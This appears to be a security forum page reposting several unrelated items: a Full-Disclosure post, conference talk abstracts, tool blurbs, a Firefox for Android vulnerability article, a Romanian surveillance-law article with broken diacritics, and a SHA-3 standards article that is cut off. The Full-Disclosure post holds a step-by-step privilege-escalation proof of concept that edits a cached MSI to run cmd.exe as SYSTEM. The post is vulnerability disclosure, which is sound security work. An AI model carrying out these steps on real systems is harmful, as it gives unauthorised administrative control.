Nytro

Defense in depth -- the Microsoft way (part 10) From: "Stefan Kanthak" <stefan.kanthak () nexgo de> Date: Sat, 21 Sep 2013 23:06:13 +0200 Hi @ll, all products, security patches and hotfixes distributed as self- extracting packages (IExpress, "update.exe" etc.) which contain a *.MSI or *.MSP leave dangling references to these files after their installation. "In certain situations ..." (see below) these dangling references allow a privilege escalation. Proof of concept (run on a fully patched Windows 7 SP1): Step 0: a) lögin as UNPRIVILEGED user. Step 1: a) download the IExpress package "CAPICOM-KB931906-v2102.exe" from <http://www.microsoft.com/en-us/download/details.aspx?id=3207> resp. <http://technet.microsoft.com/security/bulletin/ms07-028> check/verify the Authenticode (digital) signature of the downloaded "CAPICOM-KB931906-v2102.exe" c) execute the downloaded "CAPICOM-KB931906-v2102.exe" (UAC will ask for confirmation or prompt for administrative credentials): * the IExpress installer unpacks its contents into the directory "%TEMP%\IXP000.TMP\", calls MSIEXEC.EXE to install the unpacked "capicom2.msi" and removes the temporary directory afterwards; * MSIEXEC.EXE creates the following registry entries with dangling references to the (later) deleted "capicom2.msi" in the removed temporary directory: [HKEY_CLASSES_ROOT\Installer\Products\9F2FDFE0D6387BE43AD230B83D1FBFA2\SourceList] "PackageName"="capicom2.msi" "LastUsedSource"=expand:"n;1;C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP000.TMP\\" [[HKEY_CLASSES_ROOT\Installer\Products\9F2FDFE0D6387BE43AD230B83D1FBFA2\SourceList\Media] "DiskPrompt"="Security Update for CAPICOM (KB931906) Installation Disk" "1"=";" [HKEY_CLASSES_ROOT\Installer\Products\9F2FDFE0D6387BE43AD230B83D1FBFA2\SourceList\Net] "1"=expand:"C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP000.TMP\\" [HKEY_CLASSES_ROOT\Microsoft\Windows\CurrentVersion\Uninstall\{0EFDF2F9-836D-4EB7-A32D-038BD3F1FB2A}] "InstallSource"="C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP000.TMP\\" Step 2: a) extract "capicom2.msi" from "CAPICOM-KB931906-v2102.exe" (see <http://support.microsoft.com/kb/197147> for instructions). recreate the directory "%TEMP%\IXP000.TMP\". c) copy the extracted "capicom2.msi" to "%TEMP%\IXP000.TMP\". d) check/verify the Authenticode (digital) signature of "%TEMP%\IXP000.TMP\capicom2.msi". e) open "%TEMP%\IXP000.TMP\capicom2.msi" with the .MSI editor of your choice and insert (for example) the following column into its 'registry' table: REGKEY0,2,SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce,OUCH!,cmd.exe /k echo %CMDCMDLINE%,COM2000 or (for example) the following column into its 'CustomAction' table: OUCH!,3122,cmd.exe,/k title %USERDOMAIN%\%USERNAME% f) check the Authenticode signature of the modified "capicom2.msi": it is INVALID now! g) execute "MSIEXEC.EXE /A %TEMP%\IXP000.TMP\capicom2.msi" and follow the dialogs. Especially notice that NO warning/hint about the broken/invalid Authenticode signature is displayed! OUCH! Step 3: a) read <http://support.microsoft.com/kb/944298>: | In certain situations, Setup cannot find the .msi file in the | Windows Installer cache. In these situations, Setup tries to | resolve the source location by testing for the presence of the | product installation in the last-used location when Setup was | last run. If Setup cannot resolve the source location, the user | is prompted to provide the installation media. determine the name of the cached .MSI file, for example via: REG.EXE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData \S-1-5-18\Products\9F2FDFE0D6387BE43AD230B83D1FBFA2\InstallProperties" /v "LocalPackage" (its pathname is "%SystemRoot%\Installer\<random>.msi"). c) delete the cached .MSI file found in the substep before. Yes, this needs administrative rights; but read MSKB 944298 again: "in certain situations ...". I just enforce such a certain situation! d) execute "MSIEXEC.EXE /fm {0EFDF2F9-836D-4EB7-A32D-038BD3F1FB2A}". Again: NO warning/hint about the broken/invalid Authenticode signature is displayed. And: UAC does NOT prompt for confirmation or credentials! If you added a column to the 'CustomAction' table CMD.EXE runs and shows "NT AUTHORITY\SYSTEM" in its title bar. e) execute REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "OUCH!" and conclude that the modified "%TEMP%\IXP000.TMP\capicom2.msi" was run with administrative (really: "LocalSystem") privileges. Timeline: ~~~~~~~~~ 2008-04-09 informed vendor that MSKB 931906 creates dangling references and MSIEXEC.EXE /f... prompts user for location of capicom2.msi 2008-04-11 vendor asked: "have you tried removing the update via Add/Remove Programs and then re-installing?" 2008-04-11 replied to vendor: that's NOT the point here ... no more answer! 2013-05-20 next try... stay tuned Stefan Kanthak PS: as examples for other self-extracting packages use "msxml4-KB2758694-enu.exe" and "msxml6-KB2758696-enu-x86.exe", available from <http://www.microsoft.com/en-us/download/details.aspx?id=36292> and <http://www.microsoft.com/en-us/download/details.aspx?id=36316> resp. <http://technet.microsoft.com/security/bulletin/MS13-002>, which create the following registry entries: [HKEY_CLASSES_ROOT\Installer\Products\745017A5E85BB88428D8ACA9520A35C3\SourceList] "PackageName"="msxml6.msi" "LastUsedSource"=expand:"n;1;c:\\c3d7dd340cec94ff5838ba93\\" [HKEY_CLASSES_ROOT\Installer\Products\745017A5E85BB88428D8ACA9520A35C3\SourceList\Media] "DiskPrompt"="[1]" "1"=";" [HKEY_CLASSES_ROOT\Installer\Products\745017A5E85BB88428D8ACA9520A35C3\SourceList\Net] "1"=expand:"c:\\c3d7dd340cec94ff5838ba93\\" Other products which exhibit the same problem are (not exhaustive, in no particular order): 1. Microsoft Security Essentials [HKEY_CLASSES_ROOT\Installer\Products\000021599B0090400000000000F01FEC\SourceList] "PackageName"="dw20shared.msi" "LastUsedSource"=expand:"n;1;c:\\62bf30c6a367eb52738a55\\x86\\" [HKEY_CLASSES_ROOT\Installer\Products\000021599B0090400000000000F01FEC\SourceList\Media] "DiskPrompt"="Microsoft Application Error Reporting" "1"="OFFICE12;1" [HKEY_CLASSES_ROOT\Installer\Products\000021599B0090400000000000F01FEC\SourceList\Net] "1"=expand:"c:\\62bf30c6a367eb52738a55\\x86\\" "2"=expand:"C:\\Program Files\\Microsoft Security Client\\Backup\\" [HKEY_CLASSES_ROOT\Installer\Products\BB8DD09375BB24940A92D219E3E4D947\SourceList] "PackageName"="epp.msi" "LastUsedSource"=expand:"n;1;c:\\0d149c673ede07404629f38d05a7\\x86\\" [HKEY_CLASSES_ROOT\Installer\Products\BB8DD09375BB24940A92D219E3E4D947\SourceList\Media] "1"=";" [HKEY_CLASSES_ROOT\Installer\Products\BB8DD09375BB24940A92D219E3E4D947\SourceList\Net] "1"=expand:"C:\\0d149c673ede07404629f38d05a7\\x86\\" "2"=expand:"C:\\Program Files\\Microsoft Security Client\\Backup\\" 2. .NET Framework 1.1 [HKEY_CLASSES_ROOT\Installer\Products\DDE7F2BCF1D91C3409CFF425AE1E271A\SourceList] "PackageName"="netfx.msi" "LastUsedSource"=expand:"n;1;C:\\DOCUME~1\\Owner\\LOCALS~1\\Temp\\IXP000.TMP\\" [HKEY_CLASSES_ROOT\Installer\Products\DDE7F2BCF1D91C3409CFF425AE1E271A\SourceList\Media] "DiskPrompt"="[1]" "1"=";Microsoft .NET Framework 1.1 [Disk 1]" ... "21"="URTSTDD1;Microsoft .NET Framework 1.1 [Disk 1]" ... [HKEY_CLASSES_ROOT\Installer\Products\DDE7F2BCF1D91C3409CFF425AE1E271A\SourceList\Net] "1"=expand:"C:\\DOCUME~1\\Owner\\LOCALS~1\\Temp\\IXP000.TMP\\" [HKEY_CLASSES_ROOT\Installer\Patches\7FCDE114D557E4147AB4D3DC56385F98\SourceList] "PackageName"="tmp517.tmp" "LastUsedSource"=expand:"n;1;C:\\DOCUME~1\\Owner\\LOCALS~1\\Temp\\IXP000.TMP\\" [HKEY_CLASSES_ROOT\Installer\Patches\7FCDE114D557E4147AB4D3DC56385F98\SourceList\Media] "DiskPrompt"="[1]" "20872"=";Microsoft .NET Framework 1.1 Service Pack 1 (KB867460)" [HKEY_CLASSES_ROOT\Installer\Patches\7FCDE114D557E4147AB4D3DC56385F98\SourceList\Net] "1"=expand:"C:\\DOCUME~1\\Owner\\LOCALS~1\\Temp\\IXP000.TMP\\" ... 3. Visual C++ 2005 Redistributable 8.0.56336 [HKEY_CLASSES_ROOT\Installer\Products\b25099274a207264182f8181add555d0\SourceList] "PackageName"="vcredist.msi" "LastUsedSource"=expand:"n;1;C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP001.TMP\\" [HKEY_CLASSES_ROOT\Installer\Products\b25099274a207264182f8181add555d0\SourceList\Media] 1=";Microsoft Visual C++ 2005 Redistributable [Disk 1]" DiskPrompt="[1]" [HKEY_CLASSES_ROOT\Installer\Products\b25099274a207264182f8181add555d0\SourceList\Net] "1"=expand:"C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP001.TMP\\" 4. Visual C++ 2005 Redistributable (x64) 8.0.59192 "PackageName"="vcredist.msi" "LastUsedSource"=expand:"n;1;C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP001.TMP\\" 5. Visual C++ 2005 Redistributable (x64) 8.0.61000 "PackageName"="vcredist.msi" "LastUsedSource"=expand:"n;1;C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP000.TMP\\" 6. Virtual PC 2007 Service Pack 1 [HKEY_CLASSES_ROOT\Installer\Products\899384DAA9E2504438FFE605A34FC9BB\SourceList] "PackageName"="Virtual_PC_2007_Install.msi" "LastUsedSource"="n;1;C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP000.TMP\\" [HKEY_CLASSES_ROOT\Installer\Products\899384DAA9E2504438FFE605A34FC9BB\SourceList\Media] "1"=";" [HKEY_CLASSES_ROOT\Installer\Products\899384DAA9E2504438FFE605A34FC9BB\SourceList\Net] "1"=expand:"C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP000.TMP\\" [HKEY_CLASSES_ROOT\Installer\Patches\F932FFF94C172E04DAC6E2E68C62E958\SourceList] "PackageName"="KB958162.msp" "LastUsedSource"=expand:"n;1;C:\\Users\\Owner\\Downloads\\" [HKEY_CLASSES_ROOT\Installer\Patches\F932FFF94C172E04DAC6E2E68C62E958\SourceList\Media] "100"=";" [HKEY_CLASSES_ROOT\Installer\Patches\F932FFF94C172E04DAC6E2E68C62E958\SourceList\Net] "1"=expand:"C:\\Users\\Owner\\Downloads\\" "2"=expand:"PatchSourceList" 7. Windows Media Player Firefox Plugin [HKEY_CURRENT_USER\Software\Microsoft\Installer\Products\6BBFDF96D153C8B4988D68D79C0D2A4A\SourceList] "PackageName"="ffplugin.msi" "LastUsedSource"="n;1;C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP000.TMP\\" [HKEY_CURRENT_USER\Software\Microsoft\Installer\Products\6BBFDF96D153C8B4988D68D79C0D2A4A\SourceList\Media] "DiskPrompt"="Windows Media Player Firefox Plugin Installation" "1"=";CD-ROM #1" [HKEY_CURRENT_USER\Software\Microsoft\Installer\Products\6BBFDF96D153C8B4988D68D79C0D2A4A\SourceList\Net] "1"=expand:"C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP000.TMP\\" _______________________________________________ Full-Disclosure - We believe in it. Charter: [Full-Disclosure] Mailing List Charter Hosted and sponsored by Secunia - Computer Security - Software & Alerts - Secunia Sursa: Full Disclosure: Defense in depth -- the Microsoft way (part 10)

Hitb 2013 - Hugo Teso - Aircraft Hacking: Practical Aero Series Description: PRESENTATION ABSTRACT: This presentation will be a practical demonstration on how to remotely attack and take full control of an aircraft, exposing some of the results of my three years research on the aviation security field. The attack performed will follow the classical methodology, divided in discovery, information gathering, exploitation and post-exploitation phases. The complete attack will be accomplished remotely, without needing physical access to the target aircraft at any time, and a testing laboratory will be used to attack virtual airplanes systems. ADS-B and ACARS protocols will be used during the discovery and information gather phases, but none of those protocols are the objective of this research, I will just use them to plot and analyze the potential targets. Very basic information on such protocols will be displayed as well as additional references for further reading. The real target of the attacks will be some on-board systems, complex enough to be vulnerable to (almost) common vulnerability research and exploitation techniques. Different post-exploitation vectors will finally be considered in order to gain better aircraft control. ABOUT HUGO TESO Hugo Teso works as a security consultant at n.runs AG in Germany. He has been working on IT security for the last 11 years, mainly in Spain. Also being a commercial pilot, it was just a matter of time before he focused his attention on aviation security. Together with the development of some open source projects, like Inguma and Bokken, he has spent a lot of time on aviation security research and has presented some of the results in conferences like RootedCon. For More Information please visit : - HITBSecConf - NETHERLANDS / MALAYSIA Sursa: Hitb 2013 - Hugo Teso - Aircraft Hacking: Practical Aero Series

Hitb 2013 - Philippe Langlois - Lte Pwnage - Hacking Core Network Elements Description: PRESENTATION ABSTRACT: Phrack and other magazines used to be full of obscure hardware and systems descriptions for telecom equipment that were the pride and the thrill of many dark-corner hackers. There's a specific kink about these strange OS, protocols and interfaces. But sadly (or not, as we'll see), it's a gone era. Gone are the DMS100, the DX200, the COSMOS switches and other telecom legacy beauty, ahem, well, at least it SHOULD BE GONE. Today, we're entering the realm of LTE super high speed always-on connectivity and with that comes the victory of TCP/IP in front of the old ITU/3GPP protocols. And with this comes many side effects: software gets standardized, everything runs on top of ATCA (Advanced Telecom Computing Architecture) hardware running mostly Linux -give or take 6 or 8 proprietary FPGA-based sister cards, TFTP-booted with decade old VxWorks that routinely show hardcoded DES credentials and funny "behaviour". Easily 20 GB of fat C++ binaries, some for x86, PPC, MIPS, some with up to 200 Mbytes file sizes for one single EXE! It's called a vulnerability research and reverse engineering paradise... or hell. All the protocols now run on top of IP, which ends up having 12 layers thanks to encapsulation and still the weight of legacy in bugs quantity and diversity. We'll see how the porting of SS7 MAP on top of IP (SIGTRAN, Diameter) has given rise to funny Denial of Service (DoS) attacks against telecom core elements (DSR, STP), with trashy-crashy anti-forensics consequences for DPI and tracking (Hey @grugq!!). We'll look into specific vulnerabilities, and talk about the very particular way that Network Equipment Vendors deal with security in the telecom domain. We will demo a virtualized Huawei HSS from our testbed and show some of the vulnerabilities and attacks directly on the equipment itself. We will finally talk about telco equipment and product security reviews and the fallacy of (some) certification and (many) standardization attempts. We will then see how to conduct a practical and fast telecom product security life cycle with automation and open source tools. ABOUT PHILIPPE LANGLOIS Philippe Langlois is an entrepreneur and leading security researcher, expert in the domain of telecom and network security. He has founded internationally recognized security companies (Qualys, WaveSecurity, INTRINsec, P1 Security) as well as led technical, development and research teams (Solsoft, TSTF). He founded Qualys and led the world-leading vulnerability assessment service. He founded a pioneering network security company Intrinsec in 1995 in France. His first business, Worldnet, France's first public Internet service provider, was founded in 1993. Philippe was also lead designer for Payline, one of the first e-commerce payment gateways. He has written and translated security books, including some of the earliest references in the field of computer security, and has been giving speeches on network security since 1995 (Interop, BlackHat, HITB, Hack.lu). Previously a professor at Ecole de Guerre Economique and various universities in France (Amiens, Marne La Vallée) and internationally (FUSR-U, EERCI, ANRSI). He is a FUSR-U collaborator and founding member. Philippe advises industry associations (GSM Association Security Group, several national organizations) and governmental officials and contributes to Critical Infrastructure advisory committees and conferences in Telecom and Network security. Now, Philippe is providing with P1 Security the first Core Network Telecom Signaling security scanner & auditor which help telecom companies, operators and government analyze where and how their critical telecom network infrastructure can be attacked. He can be reached through his website at: P1 Security For More Information please visit : - HITBSecConf - NETHERLANDS / MALAYSIA Sursa: Hitb 2013 - Philippe Langlois - Lte Pwnage - Hacking Core Network Elements

Derbycon 2013 - Scanning Darkly- Hd Moore Description: Bio: HD Moore is the Chief Research Officer at Rapid7, responsible for leading Rapid7 Labs research into real world threats and providing guidance on how to address them. In addition, HD drives technical innovation across Rapid7?s products and services, applying technology to the challenge of identifying and defending against current and emerging threats, as well as heading the development of experimental prototypes and free tools. HD is the creator and chief architect of Metasploit, the world’s leading open source penetration testing framework, and remains deeply involved in Metasploit’s evolution at the architectural level. For More Information please visit : - Derbycon 2013 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Derbycon 2013 - Scanning Darkly- Hd Moore

snuck : Automatic XSS filter bypass Tool Reported by Sabari Selvan on Tuesday, October 23, 2012 snuck is an automated tool that may definitely help in finding XSS vulnerabilities in web applications. It is based on Selenium and supports Mozilla Firefox, Google Chrome and Internet Explorer. The approach, it adopts, is based on the inspection of the injection's reflection context and relies on a set of specialized and obfuscated attack vectors for filter evasion. In addition, XSS testing is performed in-browser, a real web browser is driven for reproducing the attacker's behavior and possibly the victim's. Description snuck is quite different from typical web security scanners, it basically tries to break a given XSS filter by specializing the injections in order to increase the success rate. The attack vectors are selected on the basis of the reflection context, that is the exact point where the injection falls in the reflection web page's DOM. Having access to the pages' DOM is possible through Selenium Web Driver, which is an automation framework, that allows to replicate operations in web browsers. Since many steps could be involved before an XSS filter is "activated", an XML configuration file should be filled in order to make snuck aware of the steps it needs to perform with respect to the tested web application. Practically speaking, the approach is similar to the iSTAR's one, but it focuses on one particular XSS filter. Download it from here: Downloads - snuck - Automatic XSS filter bypass - Google Project Hosting Tutorial can be found here: Tutorial - snuck - how to use snuck - Automatic XSS filter bypass - Google Project Hosting

Gest grav ?i incon?tient: USL a dat mân? liber? DNA la intercept?ri. Procurorii pot intra prin efrac?ie chiar ?i în dormitor mar?i 01, octombrie 2013 / 14:32 Scris de Oana St?nciulescu Majoritatea USL din Parlament habar nu are ce voteaz?. De?i strig? c? dosarele sunt f?cute la comand? politic? din cauza intercept?rilor, ace?tia au acordat puteri nelimitate procurorilor anticorup?ie, scrie pesurse.ro. În noul Cod de procedur? penal?, care se va aplica din februarie 2014, parlamentarii coali?iei au votat dou? dintre alineatele strecurate în art. 12 al Legii nr. 51/91, adoptate prin art. 29 al Legii nr. 255/2013, care prev?d c? serviciile pot intra când vor în casele suspec?ilor, inclusiv prin efrac?ie ?i s?-i filmeze chiar ?i în dormitor, toate informa?iile astfel ob?inute reprezentând apoi probe zdrobitoare în fa?a instan?ei. Parlamentarii actualei coali?ii guvernamentale au votat, cel mai probabil pe necitite, Legea nr.255, care a ?i fost publicat? în Monitorul Oficial din 14.08.2013. Este vorba despre punerea în aplicare a Legii nr. 135/2010 privind Codul de procedur? penal? ?i pentru modificarea ?i completarea unor acte normative care cuprind dispozi?iile procesuale penale. Iar printre modific?rile adoptate de c?tre distin?ii parlamentari USL se prevede ?i c? „Legea nr. 51/91 privind siguran?a na?ional? a României” se transform? în “Legea privind securitatea na?ional? a României”. Iar trecerea de la “siguran??” la “securitate” poate fi justificat? ?i prin dedesubturile câtorva dintre cele zece articole noi introduse astfel în lege, relateaz? Na?ional. Ce a votat majoritatea parlamentar? USL a votat pentru extinderea f?r? precedent a “activit??ilor specifice pe care le pot desf??ura organele cu atribu?ii în domeniul securit??ii na?ionale”. Astfel, art. 12(2) lit. a) prevede: “ interceptarea ?i înregistrarea comunica?iilor electronice efectuate, sub orice form?”. Iar alte alineate permit interceptarea, tot “sub orice form?” ?i a celorlalte feluri de comunicare posibile, de la telefoane pân? la telegrame po?tale, inclusiv localizarea unui suspect prin satelit. De asemenea, lit. c) prevede “ridicarea ?i repunerea la loc a unui obiect sau document, examinarea lui, extragerea informa?iilor pe care acesta le con?ine, precum ?i înregistrarea, copierea sau ob?inerea de extrase prin orice procedee“. Practic, ofi?erii sub acoperire pot, în mod legal, începând din februarie, s? intre prin efrac?ie într-un birou, s? pun? camere de filmat acolo, dup? care pot reveni când vor, tot ca “?pringarii”, s? ia microfoanele sau s? pun? altele. Opera?iunile pot fi derulate, în premier?, nu doar în locuri publice, dar ?i la domiciliile suspec?ilor. La lit. d), distin?ii parlamentari au votat ?i permis “instalarea de obiecte, între?inerea ?i ridicarea acestora din locurile în care au fost depuse, supravegherea prin fotografiere, filmare sau prin alte mijloace tehnice ori constat?ri personale, efectuate sistematic în locuri publice sau efectuate în orice mod în locuri private”. Astfel fiecare cet??ean poate fi înregistrat ?i în dormitor, în tandre?urile cu amanta sau so?ia. Totodat?, în noul Cod de procedur? penal?, cei care sper? c? vor sc?pa de DNA se în?eal?. La capitolul 2, art. 5 (3), se specific?: “la judecarea cauzelor ?i la solu?ionarea propunerilor, contesta?iilor, plângerilor sau a oric?ror alte cereri în care cercetarea penal? a fost efectuat? de Direc?ia Na?ionala Anticorup?ie potrivit legii vechi, (….), particip? procurori din cadrul DNA”. Asta ca s? vede?i ce a votat distinsa majoritate USL în Parlament! Sursa: Gest grav ?i incon?tient: USL a dat mân? liber? DNA la intercept?ri. Procurorii pot intra prin efrac?ie chiar ?i în dormitor | ExpresMagazin

Android's Firefox app Vulnerability allows hacker to steal files from SD card Author: Mohit Kumar, The Hacker News - Tuesday, October 01, 2013 Mobile Browsers are complicated applications and locking them down against threats is extremely difficult. According to a Mobile Security Researcher, Sebastián Guerrero from 'viaForensics', Android's Firefox browser app is vulnerable to Hackers. He responsibly disclosed the details to Mozilla, that allows hackers to access both the contents of the SD card and the browser's private data. He posted a video showing how hackers will be able to access data on the device. The flaw works only if a user install a malicious application or opened a locally stored HTML file in the vulnerable Firefox app that included malicious Javascript code. Successful Exploitation allows attacker to access to files on the SD Card including all of users’ cookies, login credentials, bookmarks etc. This is a privacy issue and could be severe depending on what is stored there, including personal pictures and video, or data placed there by other applications. http://www.youtube.com/watch?v=q74g58kX5lQ&feature=player_embedded Files are accessed through the standard “file://” URI syntax. Firefox encrypts the data stored in internal storage which is why hackers also introduce a third-party app which gets the encrypted keys stored on the device. "However, to protect the most sensitive information, apps can place data in a separate location called internal storage, a private folder for each app that even the user is prevented from accessing directly (unless the device is rooted). The most significant threat from this vulnerability is that the secured location for Firefox is also accessible, which means a hacker will have access to cookies, login credentials, bookmarks, and anything else Mozilla think should be kept safely tucked away." Androidpolice blog explained. We contacted Sebastián to get more details, please find a quick FAQ on the matter as follows: Q. Can an attacker host the malicious Javascript code HTML file on a server to exploit the flaw remotely by making victim to visit the website only ? A. The exploit cannot be executed by a remote web page. This flaw works only if you install an application, but there is another vulnerability in Firefox that could allow an attacker to install applications without user's knowledge. I disclosed it to the Firefox, but other researcher did the same before me. But it's possible to host the malicious HTML file somewhere and using some social engineering , attacker can make victim to download and execute the file locally on their Firefox app. Q. To steal the files from the victim's SD card, an attacker need to pre-define the file names or folder path in the exploit code ? A. Nope, there is no need to specify the path, because I'm obtaining the salted folder generated by Firefox at runtime, due to a vulnerability. So I can make a copy of the SDcard, because the path will be always /sdcard, and for the private folder locates at /data/data/org.mozilla. Firefox, I'm obtaining at runtime the salted profile generated. Q. Where and how stolen files will be uploaded ? A. You can upload it where you want i.e. Using exploit code we are opening a socket connection against the remote FTP server to upload stolen files. Q. Is there any CVE ID or Mozilla's Security Advisories ID defined for the Vulnerability yet ? A. As far as I know there isn't a CVE assigned to this vulnerability. Mozilla has patched the vulnerability in patched in Firefox 24 for Android. Just few weeks back a Russian hacker put up a Zero-day Exploit for sale, that forces the Android Firefox browser to download and execute a malicious app. Sursa: Android's Firefox app Vulnerability allows hacker to steal files from SD card - The Hacker News

drozer The Leading Security Testing Framework for Android. drozer enables you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps’ IPC endpoints and the underlying OS. drozer provides tools to help you use and share public Android exploits. It helps you to deploy a drozer agent by using weasel – MWR’s advanced exploitation payload. For the latest drozer updates, follow @mwrdrozer. [h=3]Features[/h] drozer allows you to use dynamic analysis during an Android security assessment. By assuming the role of an Android app you can: find information about installed packages. interact with the 4 IPC endpoints – activities, broadcast receivers, content providers and services. use a proper shell to play with the underlying Linux OS (from the content of an unprivileged application). check an app’s attack surface, and search for known vulnerabilities. create new modules to share your latest findings on Android. drozer’s remote exploitation features provide a unified framework for sharing Android payloads and exploits. It helps to reduce the time needed for vulnerability assessments and mobile red-teaming exercises, and includes the outcome of some of MWR’s cutting-edge research into advanced Android payloads and exploits. [h=3]How it Works[/h] drozer does all of this over the network: it does not require ADB. For the latest Mercury updates, follow @mwrdrozer. Download: https://www.mwrinfosecurity.com/products/drozer/community-edition/ Sursa: https://labs.mwrinfosecurity.com/tools/drozer/

Offtopic: National Institute of Standards and Technology Page Not Found Due to a lapse in government funding, the National Institute of Standards and Technology (NIST) is closed and most NIST and affiliated web sites are unavailable until further notice. We sincerely regret the inconvenience. The National Vulnerability Database and the NIST Internet Time Service web sites will continue to be available. A limited number of other web sites may also be available.

What the heck is going on with NIST’s cryptographic standard, SHA-3? by Joseph Lorenzo Hall September 24, 2013 (Warning: this is a fairly technical post about cryptographic standards setting.) The cryptographic community has been deeply shaken since revelations earlier this month that the National Security Agency (NSA) has been using a number of underhanded methods – stealing encryption keys, subverting standards setting processes, planting backdoors in products – to undermine much of the encryption used online. This includes crucial pieces of e-commerce like HTTPS (SSL/TLS) and Virtual Private Networks (VPN) that we use each day to purchase things online, to socialize in private, and that businesses use to communicate confidential and proprietary information. While the reporting has been vague and hasn’t pointed to specific software versions or protocols that have been compromised, last week RSA Security – a major supplier of cryptographic software and hardware – initiated a product recall of sorts, warning users that one of its popular software encryption products contained a likely NSA-planted backdoor. The practical implication of the RSA recall is that much of the encryption that used this product since 2007 isn’t nearly as secure as it was supposed to be. Those of us who follow developments in the cryptographic community have noticed another troubling development: there are a number of cryptographers upset with how the National Institute of Standards and Technology (NIST) is standardizing a new set of encryption algorithms called SHA-3 (which stands for the third version of the Secure Hashing Algorithm). The remainder of this post explains what is going on with SHA-3 and how NIST could defuse this particular controversy while it still has the chance. (Warning: In this post, I’m assuming the reader is familiar with the concepts underlying basic encryption tools, called “cryptographic primitives,” such as hash functions, digital signatures, and message authentication codes.) What is SHA-3? SHA-3 is the “next generation” hash algorithm being standardized by NIST. In 2005, researchers developed an attack that called into question the security guarantees of an earlier secure hash algorithm, SHA-1. The characteristics of this 2005 attack seemed to hint that it could be refined to attack many of the secure hash functions at the time, including SHA-0, MD4, MD5 and even SHA-2. At the time, for many cryptographers, the message was clear: a new hash algorithm is needed and it should be based on completely different underlying mathematics that are not susceptible to the attacks threatening known hash functions. To be clear: SHA-1 is thought to be on its way out, as people expect the earlier attacks to be improved considerably in the coming years and there hasn’t been any result that calls into question the soundness of SHA-2 at all. Attacks always improve, so it’s imperative that there is an alternative hash function ready to go when and if the floor falls out of the earlier hash functions. NIST’s cryptographic technology group is world-renowned for cryptographic algorithm standardization. In 2007, NIST began the process to develop and standardize a new secure hash algorithm that would be called SHA-3. The process for choosing a new algorithm was designed as a competition: new candidate algorithms were submitted by more than 60 research teams and over five years the entrants were whittled down to a set of finalists, from which a winner was chosen. In October of last year, NIST announced that a team of Italian and Belgian cryptographers had won the competition with their submission named, “Keccak” (pronounced “KECH-ack”). What has NIST done with SHA-3? Since the announcement of Keccak as the winner, NIST has been working hard to turn Keccak into a standard. That is, NIST can’t just point to the academic paper and materials submitted by the Keccak team and call that a standard. NIST has to write the algorithm up in a standards-compliant format and include it in other NIST cryptographic standards documents, such as a successor to the Secure Hash Standard document (FIPS Publication 180-4). Here’s where the controversy starts. One of the most accomplished civilian cryptographers, NIST’s John Kelsey, gave an invited talk at a conference in August, the Workshop on Cryptographic Hardware and Embedded Systems 2013 (CHES’13), where he described some of the changes NIST has made to Keccak in turning it into a standard. The changes were detailed in five slides (slides 44-48) of Kelsey’s slide deck for his talk. Two major changes puzzled some in attendance: In the name of increased performance (running faster in software and hardware), the security levels of Keccak were drastically reduced. The four versions of the winning Keccak algorithm had security levels of 224-bits, 256-bits, 384-bits, and 512-bits. However, from Kelsey’s slides, NIST intends to standardize only two versions, a 128-bit and a 256-bit version. Some of the internals of the algorithm had been tweaked by NIST – some in cooperation with the team that submitted Keccak – to improve performance and allow for new types of applications. Essentially, NIST had changed Keccak to something very different from what won the 5-year competition. Since this talk, cryptographers have been abuzz with this news and generally very critical of the changes (e.g., folks like Marsh Ray on Twitter). What are the issues with SHA-3 standardization? So, what’s the big deal? Well, the problems here cluster in five areas: Process: From a simple due process perspective, after a five-year hard-fought competition, to make large changes to the winning algorithm is simply problematic. The algorithm being standardized is very different from the winning Keccak, which beat 62 other high-powered cryptography research groups in a 5-year competition. (To be fair, it’s not like these changes came out of the blue. However, given the new political environment reality itself has changed.) No security improvement: The SHA-3 version of Keccak being proposed appears to provide essentially the same level of security guarantees as SHA-2, its predecessor. If we are going to develop a next generation hash, there certainly should be standardized versions that provide a higher security level than the older hash functions! NIST, in the original call for submissions, specifically asked for four versions in each submission, with at least two that would be stronger than what was currently available, so it’s hard to understand this post-competition weakening. Unclear implications of internal changes: The changes made to Keccak to get to SHA-3 may be so substantial as to render the cryptanalysis that was performed during the competition moot. That is, all the intense number crunching cryptographers performed during the competition to try and break the submitted ciphers to prove their strength/weakness simply doesn’t apply to the modified form of Keccak that NIST is working on. No real need for high-performance hashes: NIST said it weakened the security levels of the winning Keccak submission to boost performance. (Weaker versions of hash functions run faster.) However, there is not clearly a need for another fast hash algorithm. For example, to get exceedingly technical for a moment: in communications security, hashes are used for a few purposes and most are computed on small inputs – where performance isn’t a concern – and in cases where performance is a concern due to large inputs (e.g., with “message authentication codes” or MACs), many applications are moving away from hash-based MACs (HMAC) to other types of MACs like GMAC that are not based on hash functions. NIST’s reputation is undermined: Kelsey’s CHES’13 talk was given in mid-August, two weeks before the NSA encryption revelations. Those revelations suggest that NSA, through an intelligence program called BULLRUN actively worked to undermine NIST’s effort to standardize strong cryptography. NIST could not have known how the changes it made might appear once that reporting had cast a pall over NIST cryptographic standards setting. The changes made to Keccak undoubtedly weaken the algorithm, calling NIST’s motives into question in light of the NSA revelations (regardless of their actual intentions). None of this is irreversible. What could NIST do to defuse this controversy? Kelsey’s slides indicate that NIST is on track to standardize the NIST-modified version of Keccak as SHA-3 and issue a draft standard in late October for public comment. If the issues above are not addressed in that draft standard, there will be considerable hue and cry from the cryptographic community and it will only serve to reinforce the more general concerns about NIST’s cooperation with the NSA. It’s in no one’s interest to feed the flames of NIST scaremongering and we all have an interest in NIST as a trusted place for science and standardization. In that spirit, there are a number of things NIST can do to calm this storm (and please consider joining NIST’s Hash Forum to discuss this further): Add back 